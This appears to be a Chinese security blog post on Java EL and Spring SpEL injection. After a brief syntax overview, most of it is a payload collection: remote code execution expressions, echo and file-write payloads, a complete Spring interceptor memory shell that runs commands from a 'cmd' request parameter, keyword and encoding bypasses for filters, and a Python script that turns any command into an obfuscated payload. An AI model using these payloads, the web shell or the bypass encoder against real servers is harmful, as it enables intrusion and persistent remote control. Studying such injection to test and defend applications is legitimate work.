EL&SPEL EL常用于JSP,而SPEL主要针对于spring,两者并非严格区分关系。
何为EL EL(Expression Language )是一种脚本表达式,它可以直接插入到JSP中,其主要功能有:
获取数据 :从各种类型的Web
域中检索Java
对象、获取数据(某个Web
域中的对象, 访问JavaBean
的属性、访问List
集合、访问Map
集合、访问数组)。
执行运算 :执行一些基本的关系运算、逻辑运算和算术运算, 以在JSP
页面中完成一些简单的逻辑运算, 例如${user==null}
。
获取Web
开发常用对象 :EL
表达式定义了一些隐式对象, 利用这些隐式对象,Web
开发人员可以很轻松获得对Web
常用对象的引用, 从而获得这些对象中的数据。
可以直接获取到PageContext,访问JSP内置对象比如page,
request,
session,
application。
调用Java
方法 :EL
表达式允许用户开发自定义EL
函数, 以在JSP
页面中通过EL
表达式调用Java
类的方法。
EL基本语法 界定符 EL表达式用${}
进行包裹,表达式位于花括号之间。
取值与赋值 取值符号有两个
.
:${userinfo.name}
[]
:${userinfo['name']}
这两个表达式都是取出userinfo对象中的name属性,不过中括号[]
有一些.
不具备的特点:
如果存取的属性名称包含一些特殊字符(非字母数字),那么必须用[],
,比如${userinfo['my-name']}
[]
可以进行动态取值,比如${userinfo[param.name]}
中的name可以通过参数来传递。
取值的范围在没有自定义的情况下就会依次从Page、
Request、
Session、
Application中查找,如果没有找到则返回当前上下文即.
。
赋值使用等号即可,如${userinfo.name}=abc
,实际上 []
、.
可以理解为getter,=
可以理解为setter
。
内置(隐式)对象 JSP
表达式语言定义了一些隐式对象,其中比较重要的有
JSP上下文对象
pageContext:JSP
页的上下文, 可以用于访问JSP
隐式对象, 如请求、响应、会话、输出、servletContext
等. 例如,${pageContext.response}
为页面的响应对象赋值。
请求相关的简易对象
param:${param.name}
等同于request.getParameter(name)
。
paramValues:与param类似,将请求参数映射到数组而非单个值,${paramValues.name}
等同于request.getParamterValues(name)
。
header:${header.name}
等同于request.getHeader(name)
。
headerValues:同上
cookie:将cookie
名称映射到单个cookie
对象. 向服务器发出的客户端请求可以获得一个或多个cookie
. 表达式${cookie.name.value}
返回带有特定名称的第一个cookie
值. 如果请求包含多个同名的cookie
, 则应该使用${headerValues.name}
表达式。
initParam:将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name)
获得)。
Web 上下文、会话、请求、页面
pageScope
requestScope
sessionScope
applicationScope
EL注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ${pageContext} ${pageContext.getSession ().getServletContext ().getClassLoader ().getResource ("" )} ${header} ${applicationScope} ${pageContext.request .getSession ().setAttribute ("a" ,pageContext.request .getClass ().forName ("java.lang.Runtime" ).getMethod ("getRuntime" ,null).invoke (null,null).exec ("calc" ).getInputStream ())} ${'' .getClass ().forName ("javax.script.ScriptEngineManager" ).newInstance ().getEngineByName ("JavaScript" ).eval ("java.lang.Runtime.getRuntime().exec('calc')" )}
SPEL注入 Spring
表达式语言(简称SpEl
)是一个支持查询和操作运行时对象导航图功能的强大的表达式语言. 它的语法类似于传统EL
, 但提供额外的功能, 最出色的就是函数调用和简单字符串的模板函数.
尽管有其他可选的Java
表达式语言, 如OGNL
,MVEL
,JBoss EL
等等, 但Spel
创建的初衷是了给Spring
社区提供一种简单而高效的表达式语言, 一种可贯穿整个Spring
产品组的语言, 这种语言的特性应基于Spring
产品的需求而设计. 虽然SpEL
引擎作为Spring
组合里的表达式解析的基础, 但它不直接依赖于Spring
, 可独立使用.
SimpleEvaluationContext
: 针对不需要SpEL
语言语法的全部范围并且应该受到有意限制的表达式类别, 公开SpEL
语言特性和配置选项的子集.
StandardEvaluationContext
: 公开全套SpEL
语言功能和配置选项, 可以使用它来指定默认的根对象并配置每个可用的评估相关策略.
SimpleEvaluationContext
旨在仅支持SpEL
语言语法的一个子集, 不包括Java
类型引用、构造函数和bean
引用; 而StandardEvaluationContext
是支持全部SpEL
语法的,因此使用StandardEvaluationContext才会造成SPEL注入 。
基本用法 SPEL使用#{}
作为界定符,它有三种使用方式, 一种是在注解@Value
中, 一种是XML
配置, 最后一种是在代码块中使用Expression
。下面
注解 @Value 用法 @Value
能修饰成员变量和方法形参,#{}
内就是SpEL
表达式的语法,Spring
会根据SpEL
表达式语法为变量赋值.
1 2 3 4 5 6 7 public class User { @Value("${ spring.user.name }") private String Username; @Value("#{ systemProperties['user.region'] }") private String defaultLocale; }
XML 配置用法 在SpEL
表达式中, 使用T(Type)
运算符会调用类的作用域和方法,T(Type)
操作符会返回一个object
, 它可以帮助获取某个类的静态方法, 用法T(全限定类名).方法名()
, 即可以通过该类类型表达式来操作类, 例如:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd " > <bean id ="helloWorld" class ="com.mi1k7ea.HelloWorld" > <property name ="message" value ="#{T(java.lang.Runtime).getRuntime().exec('calc')}" /> </bean > </beans >
Expression 用法 1 2 3 4 5 6 7 String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")" ;ExpressionParser parser = new SpelExpressionParser ();Expression expression = parser.parseExpression(spel); System.out.println(expression.getValue());
类型表达式 T() 在SpEL表达式中,使用T(Type)
运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。
1 2 3 4 String cmdStr = "T(java.lang.String)" ;ExpressionParser parser = new SpelExpressionParser ();Expression exp = parser.parseExpression(cmdStr); System.out.println(exp.getValue() );
使用T(Type)
来表示java.lang.Class实例,Type必须是类全限定名,但”java.lang”包除外,获取到类之后只能调用static方法,调用非static方法需要new 。
1 2 3 4 5 6 T(java.lang.Runtime).getRuntime().exec("calc" ) T(javax.script.ScriptEngineManager).getEngineByName("nashorn" ).eval(".." ) new javax .script.ScriptEngineManager().getEngineByName("nashorn" ).eval("" )
引用 在SpEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用”#variableName”来引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象:
#this:使用当前正在计算的上下文;
#root:引用容器的root对象;
@bean_name:引用Bean
RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class Speli { public static void main (String[] args) { String exp = "T(java.lang.Runtime).getRuntime().exec('calc')" ; SpelExpressionParser spelExpressionParser = new SpelExpressionParser (); Expression expression = spelExpressionParser.parseExpression(exp); System.out.println(expression.getValue()); } }
还有一些其他获取到ClassLoader的方法:
1 2 3 4 5 6 T(org.springframework.expression.Expression).getClass().getClassLoader() T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader() {request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec (\"touch /tmp/foobar\")}
回显&读写&内存马 1.回显
回显方面考虑通用的思路,基于当前环境获取response对象,将result装进响应包的header、body等。
1 2 3 4 5 6 7 8 9 10 11 12 13 #response.addHeader('x-echo' ,new java .io.BufferedReader(new java .io.InputStreamReader(new ProcessBuilder ("cmd" , "/c" , "whoami" ).start().getInputStream(), "gbk" )).readLine()) new java .util.Scanner(new java .lang.ProcessBuilder("cmd" , "/c" , "dir" , ".\\" ).start().getInputStream(), "GBK" ).useDelimiter("asdasdasdasd" ).next() T(org.apache.commons.io.IOUtils).toString(payload).getInputStream()) T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell" ,true ).Methods[6 ].invoke(null ,{}).eval('whatever java code in one statement' ).toString()
2.读写
1 2 3 4 5 new String (T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp" )))) T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp" )), 'FILE_CONTENT' .getBytes(), T(java.nio.file.StandardOpenOption).WRITE)
3.内存马
内存马方面以springboot interceptor为例,直接defineClass()加载即可:
1 2 3 4 #{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell' ,T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....' ),new javax .management.loading.MLet(new java .net.URL[0 ],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()} #{T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell' ,T(org.springframework.util.Base64Utils).decodeFromString('...' ),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()}
下面是interceptor内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import org.springframework.web.servlet.HandlerInterceptor;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.lang.reflect.Field;import java.util.List;public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor { static { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = null ; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true ); List<HandlerInterceptor> adaptInterceptors = null ; try { adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); } InceptorMemShell evilInterceptor = new InceptorMemShell (); adaptInterceptors.add(evilInterceptor); System.out.println("ok" ); } @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { response.setCharacterEncoding("gbk" ); java.io.PrintWriter printWriter = response.getWriter(); ProcessBuilder builder; String o = "" ; if (System.getProperty("os.name" ).toLowerCase().contains("win" )) { builder = new ProcessBuilder (new String []{"cmd.exe" , "/c" , cmd}); } else { builder = new ProcessBuilder (new String []{"/bin/bash" , "-c" , cmd}); } java.util.Scanner c = new java .util.Scanner(builder.start().getInputStream(),"gbk" ).useDelimiter("wocaosinidema" ); o = c.hasNext() ? c.next(): o; c.close(); printWriter.println(o); printWriter.flush(); printWriter.close(); } catch (Exception e) { e.printStackTrace(); } return false ; } return true ; } @Override public void postHandle (HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super .postHandle(request, response, handler, modelAndView); } @Override public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super .afterCompletion(request, response, handler, ex); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
Bypass 反射 1 2 3 4 T(String).getClass().forName("java.lang.Runtime" ).getRuntime().exec("open -a Calculator" ) #this .getClass().forName("java.lang.Runtime" ).getRuntime().exec("open -a Calculator" )
字符串拼接 1 2 3 4 T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("ex" +"ec" ,T(String[])).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("getRu" +"ntime" ).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" )),new String []{"open" ,"-a" ,"Calculator" }) #this .getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("ex" +"ec" ,T(String[])).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("getRu" +"ntime" ).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" )),new String []{"open" ,"-a" ,"Calculator" })
ASCII替换 1 2 3 T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111 ).concat(T(java.lang.Character).toString(112 )).concat(T(java.lang.Character).toString(101 )).concat(T(java.lang.Character).toString(110 )).concat(T(java.lang.Character).toString(32 )).concat(T(java.lang.Character).toString(45 )).concat(T(java.lang.Character).toString(97 )).concat(T(java.lang.Character).toString(32 )).concat(T(java.lang.Character).toString(67 )).concat(T(java.lang.Character).toString(97 )).concat(T(java.lang.Character).toString(108 )).concat(T(java.lang.Character).toString(99 )).concat(T(java.lang.Character).toString(117 )).concat(T(java.lang.Character).toString(108 )).concat(T(java.lang.Character).toString(97 )).concat(T(java.lang.Character).toString(116 )).concat(T(java.lang.Character).toString(111 )).concat(T(java.lang.Character).toString(114 )))new java .lang.ProcessBuilder(new String []{new java .lang.String(new byte []{111 ,112 ,101 ,110 }),new java .lang.String(new byte []{45 ,97 }),new java .lang.String(new byte []{67 ,97 ,108 ,99 ,117 ,108 ,97 ,116 ,111 ,114 })}).start()
生成ASCII脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 def shell (): shell = input ('Enter shell to encode: ' ) part1_shell = 'T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord (shell[0 ]) for c in shell[1 :]: part1_shell += '.concat(T(java.lang.Character).toString(%s))' % ord (c) part1_shell += ')' print ('\nPart1: ' ) print (part1_shell + '\n' ) part2_shell = 'new java.lang.ProcessBuilder(new String[]{' args = shell.split(' ' ) len_args = len (args) len_temp = 0 while (len_temp < len_args): temp = 'new java.lang.String(new byte[]{' for i in range (len (args[len_temp])): temp += str (ord (args[len_temp][i])) if (i != len (args[len_temp]) - 1 ): temp += ',' temp += '})' part2_shell += temp len_temp += 1 if len_temp != len_args: part2_shell += ',' part2_shell += '}).start()' print ('\nPart2: ' ) print (part2_shell + '\n' )if __name__ == '__main__' : shell()
JS引擎 1 2 3 4 5 6 7 8 T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn" ).eval("s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la" +"ng.Run" +"time.getRu" +"ntime().ex" +"ec(s);" ) T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(\"s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\")) T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(" JavaScript").eval(T(String).getClass().forName(" java.l"+" ang.Ru"+" ntime").getMethod(" ex"+" ec",T(String[])).invoke(T(String).getClass().forName(" java.l"+" ang.Ru"+" ntime").getMethod(" getRu"+" ntime").invoke(T(String).getClass().forName(" java.l"+" ang.Ru"+" ntime")),new String[]{" open"," -a"," Calculator"}))) //反射 T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(T(java.net.URLDecoder).decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%6f%70%65%6e%20%2d%61%20%43%61%6c%63%75%6c%61%74%6f%72%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\"))) //URL编码
Jshell 注意JDK9之后新增
1 T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell" ,true ).Methods[6 ].invoke(null ,{}).eval('open -a Calculator' ).toString()
关键字绕过 1.绕过T(
SPEL处理字符会将%00替换为空,所以可以使用T%00(new)
。
2.绕过getClass(
1 2 "" .class.getSuperclass().class.forName("java.lang.Runtime" ).getDeclaredMethods()[15 ].invoke("" .class.getSuperclass().class.forName("java.lang.Runtime" ).getDeclaredMethods()[7 ].invoke(null ),"open -a Calculator" )
OGNL @TODO
REF